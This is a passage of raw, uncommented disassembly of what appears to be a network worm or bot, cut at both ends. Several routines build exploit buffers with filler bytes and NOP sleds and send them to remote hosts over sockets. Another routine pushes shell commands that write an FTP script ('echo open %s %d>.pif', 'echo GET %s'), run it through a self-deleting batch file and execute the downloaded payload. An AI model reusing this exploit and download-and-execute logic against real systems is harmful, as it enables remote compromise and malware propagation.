eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016C2 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016C2 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4246D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4247B0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4247B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_402054j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424800 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401505j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424870 proc near ; CODE XREF: sub_4017D5j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_424884 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_424884: ; CODE XREF: sub_424870+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_445C14 lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4248E0 proc near ; CODE XREF: sub_401EC9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_401505 test al, al jnz short loc_4248FC pop esi retn 8 ; --------------------------------------------------------------------------- loc_4248FC: ; CODE XREF: sub_4248E0+16j mov ecx, esi call sub_4017D5 pop esi retn 8 sub_4248E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424920 proc near ; CODE XREF: sub_401BFEj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424CF5 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424CF5 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_4458B0 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_4458B8 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B7C lea ecx, [esp+864h+var_830] call sub_4017D5 mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "░B░B░B░B" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B7C push offset loc_445C38 lea ecx, [esp+868h+var_810] call sub_402054 lea ecx, [esp+864h+var_810] call sub_401B7C mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401843 lea ecx, [esp+864h+var_808] call sub_401B7C mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EC9 lea ecx, [esp+864h+var_808] call sub_4016C2 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402054 push 4 push offset dword_4458BC lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B7C mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_401505 mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_401505 lea ecx, [esp+864h+var_820] call sub_4017D5 lea ecx, [esp+864h+var_848] call sub_4016C2 lea ecx, [esp+864h+var_810] call sub_4016C2 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_401505 mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_401505 mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_401505 lea ecx, [esp+864h+var_828] call sub_4017D5 lea ecx, [esp+864h+var_840] call sub_4016C2 lea ecx, [esp+864h+var_830] call sub_4016C2 lea ecx, [esp+864h+var_820] call sub_4016C2 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B7C push 2 push offset dword_445C2C lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_401505 lea ecx, [esp+864h+var_838] call sub_4017D5 lea ecx, [esp+864h+var_828] call sub_4016C2 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016C2 push offset dword_445C28 lea ecx, [esp+868h+var_858] call sub_402054 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_444E70 lea ecx, [esp+868h+var_850] call sub_402054 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016C2 push offset dword_445C1C lea ecx, [esp+868h+var_858] call sub_402054 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_445C18 lea ecx, [esp+868h+var_818] call sub_402054 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4016C2 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424CF5: ; CODE XREF: sub_424920+1Ej ; sub_424920+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424920 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_401AC8j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 nop call near ptr 71AB2DC0h cmp eax, 1 jz short loc_424E89 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424E89: ; CODE XREF: sub_424E20+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_438256 sub_424E20 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424EA0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424EA0: ; CODE XREF: ___:00424E96j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi call near ptr 71AB615Ah nop pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F00 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi nop call near ptr 71AB2BC0h mov edi, [esp+0Ch+arg_0] mov ebx, dword_511CA0 mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424F33 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424F33: ; CODE XREF: sub_424F00+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424F00 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F70 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424FA3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424F70+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_44594C shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_4458C4 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44597C mov [ebx+31h], eax mov ecx, dword_445980 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_510110 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_510114 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_425048 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425048: ; CODE XREF: sub_424F70+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AC8 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_425083 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425083: ; CODE XREF: sub_424F70+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AC8 push ebx nop call near ptr 77C2C21Bh add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424F70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425100 proc near ; CODE XREF: sub_401820j var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = word ptr -418h var_416 = dword ptr -416h var_412 = dword ptr -412h var_40E = dword ptr -40Eh var_40A = word ptr -40Ah var_408 = dword ptr -408h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 420h push ebp push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [esp+42Ch+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_445AF0 lea edi, [esp+42Ch+var_400] rep movsd movsw mov ecx, offset byte_449521 movsb call sub_4017EE push eax mov ecx, offset byte_449521 call sub_4017EE mov ecx, [esp+430h+arg_0] push eax mov eax, dword_44965F push eax push ecx call sub_401E10 add esp, 4 lea edx, [esp+438h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx call near ptr 77C3FA76h nop add eax, 90h lea ecx, [esp+448h+var_408] push eax lea eax, [esp+44Ch+var_400] push eax push 164h push offset sub_445988 push ecx call sub_401BFE mov edx, [eax] xor edi, edi mov [esp+45Ch+var_420], edx add esp, 30h mov eax, [eax+4] cmp eax, edi mov [esp+42Ch+var_41C], eax jnz short loc_4251B2 xor eax, eax pop edi pop esi pop ebp add esp, 420h retn ; --------------------------------------------------------------------------- loc_4251B2: ; CODE XREF: sub_425100+A4j mov ebp, dword_511C38 mov [esp+42Ch+var_408], edi loc_4251BC: ; CODE XREF: sub_425100+161j test edi, edi jnz loc_425267 push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_42524A mov ecx, [esp+42Ch+arg_9E] xor eax, eax mov [esp+42Ch+var_416], eax push ecx mov [esp+430h+var_412], eax mov [esp+430h+var_418], 2 mov [esp+430h+var_40E], eax mov [esp+430h+var_40A], ax call ebp ; ntohs lea edx, [esp+42Ch+arg_4] mov word ptr [esp+42Ch+var_416], ax push edx nop call near ptr 71AB2BF4h mov [esp+42Ch+var_416+2], eax lea eax, [esp+42Ch+var_418] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_42523F mov ecx, [esp+42Ch+var_41C] mov edx, [esp+42Ch+var_420] push ecx push edx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_42523F: ; CODE XREF: sub_425100+123j push esi call near ptr 71AB9639h nop test edi, edi jnz short loc_425255 loc_42524A: ; CODE XREF: sub_425100+D5j push 3E8h nop call near ptr 2850000h loc_425255: ; CODE XREF: sub_425100+148j mov eax, [esp+42Ch+var_408] inc eax cmp eax, 2 mov [esp+42Ch+var_408], eax jl loc_4251BC loc_425267: ; CODE XREF: sub_425100+BEj lea ecx, [esp+42Ch+var_420] call sub_4016C2 test edi, edi jz short loc_425297 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E8h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425297: ; CODE XREF: sub_425100+172j pop edi pop esi mov eax, 1 pop ebp add esp, 420h retn sub_425100 endp ; --------------------------------------------------------------------------- aRrrrrrrrrr db '░░░░░░░░░░ллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'лллллллллллллллллллллллллллллллллллллллллллллллллллллллллИ',1Bh,0 align 4 dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h dd 2EE06800h, 77E80000h, 83FFFDCEh, 18A308C4h, 0C3005101h dd 2 dup(90909090h), 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_425370 proc near ; CODE XREF: sub_4013D4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0C8h nop call near ptr 2850000h mov edx, [esp+4+arg_4] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+4+arg_0] push 0 not ecx dec ecx push ecx push edx push eax nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh pop edi setnz al retn sub_425370 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253C0 proc near ; CODE XREF: sub_4013BBj var_434 = byte ptr -434h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_4253C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 428h xor eax, eax push ebx mov [esp+438h+var_41C], eax push esi mov [esp+43Ch+var_418], eax lea ecx, [esp+43Ch+arg_4] push edi mov [esp+440h+var_414], eax push ecx mov [esp+444h+var_410], eax mov word ptr [esp+444h+var_41C], 2 nop call near ptr 71AB2BF4h mov dx, word_510118 mov [esp+440h+var_418], eax push edx call near ptr 71AB2B66h nop push 0 push 1 push 2 mov word ptr [esp+44Ch+var_41C+2], ax nop call near ptr 71AB3B91h mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx jz loc_4256BE lea eax, [esp+440h+var_41C] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, ebx jz loc_4256BE mov edi, dword_511CA4 push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv lea ecx, [esp+440h+var_434] call sub_40142E mov edx, dword_44965F mov eax, [esp+440h+arg_0] push edx push eax mov [esp+448h+var_4], 0 call sub_401E10 add esp, 4 lea ecx, [esp+444h+var_434] push eax push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n" push ecx call sub_40102D add esp, 10h lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoBinary_pif ; "echo binary>>.pif \r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449521 call sub_4017EE push eax lea ecx, [esp+444h+var_434] push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n" push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoBye_pif ; "echo bye>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449521 call sub_4017EE push eax lea edx, [esp+444h+var_434] push offset aEchoSC_bat ; "echo %s >>c.bat\r\n" push edx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea eax, [esp+440h+var_434] push offset dword_4467B4 push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jnz short loc_4256C2 loc_4256AE: ; CODE XREF: sub_4253C0+F3j ; sub_4253C0+120j ... lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 loc_4256BE: ; CODE XREF: sub_4253C0+6Fj ; sub_4253C0+85j xor al, al jmp short loc_4256EA ; --------------------------------------------------------------------------- loc_4256C2: ; CODE XREF: sub_4253C0+2ECj push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv push esi nop call near ptr 71AB9639h lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 mov al, 1 loc_4256EA: ; CODE XREF: sub_4253C0+300j mov ecx, [esp+440h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 434h retn sub_4253C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257F0 proc near ; CODE XREF: sub_40180Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_28 = byte ptr 2Ch arg_2C = byte ptr 30h arg_2F = byte ptr 33h arg_59 = byte ptr 5Dh arg_5B = byte ptr 5Fh arg_5C = byte ptr 60h arg_90 = byte ptr 94h arg_A4 = byte ptr 0A8h arg_A5 = byte ptr 0A9h arg_F0 = byte ptr 0F4h arg_190 = byte ptr 194h arg_89C = dword ptr 8A0h arg_8AC = byte ptr 8B0h arg_8D4 = dword ptr 8D8h arg_8E4 = byte ptr 8E8h arg_C08 = dword ptr 0C0Ch arg_C0C = dword ptr 0C10h arg_C18 = byte ptr 0C1Ch arg_E30 = byte ptr 0E34h arg_E50 = byte ptr 0E54h arg_E70 = byte ptr 0E74h arg_E90 = byte ptr 0E94h arg_1480 = byte ptr 1484h arg_14E0 = byte ptr 14E4h arg_14FC = byte ptr 1500h arg_1CCC = byte ptr 1CD0h arg_2177 = byte ptr 217Bh arg_2464 = byte ptr 2468h arg_24C5 = byte ptr 24C9h arg_34F8 = byte ptr 34FCh arg_3FA0 = byte ptr 3FA4h arg_3FC0 = byte ptr 3FC4h arg_401C = byte ptr 4020h arg_401D = byte ptr 4021h arg_4020 = byte ptr 4024h arg_4030 = byte ptr 4034h arg_4AF4 = byte ptr 4AF8h arg_6098 = byte ptr 609Ch arg_60F8 = byte ptr 60FCh arg_6100 = byte ptr 6104h arg_8140 = byte ptr 8144h arg_81DC = byte ptr 81E0h arg_8234 = dword ptr 8238h arg_8290 = dword ptr 8294h arg_8294 = dword ptr 8298h mov eax, 81D8h call sub_437B30 mov eax, dword_446914 mov ecx, dword_446918 push ebx push ebp push esi lea edx, [esp+0Ch+arg_81DC] push edi mov [esp+10h], eax push edx lea eax, [esp+14h+arg_4] push offset dword_446908 push eax mov [esp+1Ch+arg_0], ecx call sub_5F74D1 nop add esp, 0Ch xor eax, eax lea ecx, [esp+10h+arg_A5] loc_425835: ; CODE XREF: sub_4257F0+56j mov dl, [esp+eax+10h+arg_4] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 28h jl short loc_425835 mov ecx, 18h mov esi, offset dword_4461D8 lea edi, [esp+10h+arg_2C] xor eax, eax rep movsd lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+10h+arg_A4] shl ecx, 1 mov eax, ecx lea edi, [esp+10h+arg_5C] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 mov edx, dword_44622F rep movsb lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx mov eax, dword_446233 dec ecx lea edi, [esp+10h+arg_4] lea ecx, [esp+ecx*2+10h+arg_5B] mov [ecx], edx mov dl, byte_446237 mov [ecx+4], eax xor eax, eax mov [ecx+8], dl or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+10h+arg_4] mov ebx, ecx or ecx, 0FFFFFFFFh add bl, 1Ah shl bl, 1 repne scasb mov ax, word_510118 mov [esp+10h+arg_2F], bl not ecx dec ecx push eax shl cl, 1 add cl, 9 mov [esp+14h+arg_59], cl nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_8294] xor eax, 9999h test edx, edx mov word_445ED8, ax jz loc_4259E3 mov ecx, 36Bh mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov edx, dword_4465CC[edx*8] rep stosd mov edi, offset loc_445E28 or ecx, 0FFFFFFFFh xor eax, eax mov esi, offset loc_445E28 repne scasb not ecx dec ecx lea edi, [esp+14h+arg_8E4] mov eax, ecx mov [esp+14h+arg_8D4], edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, dword_446900 mov edi, offset loc_445E28 mov [esp+14h+arg_C08], ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov [esp+14h+arg_C0C], edx mov edx, ecx mov esi, offset loc_445E28 lea edi, [esp+14h+arg_C18] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+14h+arg_24C5] loc_42598F: ; CODE XREF: sub_4257F0+1B5j mov dl, [esp+eax+14h+arg_F0] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 0DACh jl short loc_42598F mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_60F8] mov [esp+14h+arg_401C], 0 rep stosd stosw mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_4020] mov [esp+14h+arg_401D], 0 rep stosd stosw jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_4259E3: ; CODE XREF: sub_4257F0+10Bj mov ecx, 1F4h mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov esi, offset loc_445E28 rep stosd mov edi, offset loc_445E28 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea edi, [esp+14h+arg_190] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+14h+var_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+14h+var_4] mov edx, ecx lea edi, [esp+14h+arg_8AC] shr ecx, 2 